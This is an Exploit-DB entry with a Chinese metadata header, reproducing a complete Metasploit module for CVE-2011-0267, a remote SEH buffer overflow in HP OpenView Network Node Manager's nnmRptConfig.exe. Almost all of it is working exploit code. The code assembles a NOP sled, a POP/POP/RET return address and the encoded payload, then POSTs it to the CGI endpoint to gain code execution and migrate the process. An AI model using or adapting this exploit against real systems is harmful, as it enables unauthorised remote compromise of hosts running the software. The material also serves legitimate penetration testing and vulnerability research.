标题: HP OpenView Network Node Manager (OV NNM) - 'nnmRptConfig.exe schdParams' Remote Buffer Overflow (Metasploit) EDB-ID: 17038 CVE: 2011-0267 类型: REMOTE 平台: WINDOWS 发布日期: 2011-03-24 漏洞利用脚本: ##
# $Id: hp_nnm_nnmrptconfig_schdparams.rb 12121 2011-03-24 00:49:33Z swtornio $
##

##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
# http://metasploit.com/framework/
##

require 'msf/core'

class Metasploit3 < Msf::Exploit::Remote
 Rank = NormalRanking

 include Msf::Exploit::Remote::HttpClient
 include Msf::Exploit::Remote::Seh

 def initialize(info={})
  super(update_info(info,
   'Name'        => "HP OpenView NNM nnmRptConfig.exe schdParams Buffer Overflow",
   'Description' => %q{
    This module exploits NNM's nnmRptConfig.exe. Similar to other NNM CGI bugs,
    the overflow occurs during a ov.sprintf_new() call, which allows an attacker to
    overwrite data on the stack, and gain arbitrary code execution.
   },
   'License'     => MSF_LICENSE,
   'Version'     => "$Revision: 12121 $",
   'Author'      => ['sinn3r'],
   'References'  =>
    [
     ['CVE', '2011-0267'],
     ['OSVDB', '70473'],
     ['URL', 'http://www.zerodayinitiative.com/advisories/ZDI-11-009/'],
    ],
   'Payload' =>
    {
     'BadChars' => "\x00\x26\x2b",
    },
   'DefaultOptions' =>
    {
     'ExitFunction' => "seh",
     'AutoRunScript' => 'migrate -f',
    },
   'Platform' => 'win',
   'Targets'  =>
    [
     [
      'NNM 7.53 - Windows Server 2003 Ent', {
       'Ret'           => 0x5A30532D,  #POP/POP/RET OvWww.dll
       'Offset'        => 46919,       #Offset to SEH chain
       'Pops'          => 13,          #Number of POPADs needed to find a bigger space with our payload
       'Payloadoffset' => 57,          #Offset to the payload
     }],
    ],
   'DisclosureDate' => "Jan 10 2011"))

   register_options( [Opt::RPORT(80)], self.class )
 end

 def exploit
  nops = make_nops(1000)*70

  sploit  = nops[0, target['Offset']]
  sploit << generate_seh_record(target.ret)
  sploit << "\x61"*target['Pops']
  sploit << "\xff\xe1"  #JMP ECX
  sploit << nops[0, target['Payloadoffset']]
  sploit << payload.encoded
  sploit << "\x44"*(70000-sploit.length)

  data  = "Content&Action=Create&"
  data << "Template=Avail/CRAvail&"
  data << "Operation=Apply&"
  data << "Params=schdParams+nameParams&"
  data << "schdParams=#{sploit}%7Cmonthtodate&"
  data << "nameParams=text1%3DAAAA%26text2%3Dtest2test%26text3%3Dtest2 HTTP/1.1"

  connect
  send_request_raw({
   'uri'     => '/OvCgi/nnmRptConfig.exe',
   'data'    => data,
   'version' => '1.1',
   'method'  => 'POST',
   'headers' => {
    'Accept' => 'text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8',
    'Accept-Language' => 'en-us,en;q=0.5',
    'Accept-Encoding' => 'gzip,deflate',
    'Accept-Chrarset' => 'ISO-8859-1,utf-8;q=0.7,*;q=0.7',
    'Keep-Alive'      => '300',
    'Connection'      => 'Keep-Alive',
    'Cache-Control'   => 'mag-age=0',
    'Content-Length'  => data.length,
    'Content-Type'    => 'application/x-www-form-urlencoded',
   }
  }, 3)

  handler
  disconnect
 end
end URL: https://www.exploit-db.com/exploits/17038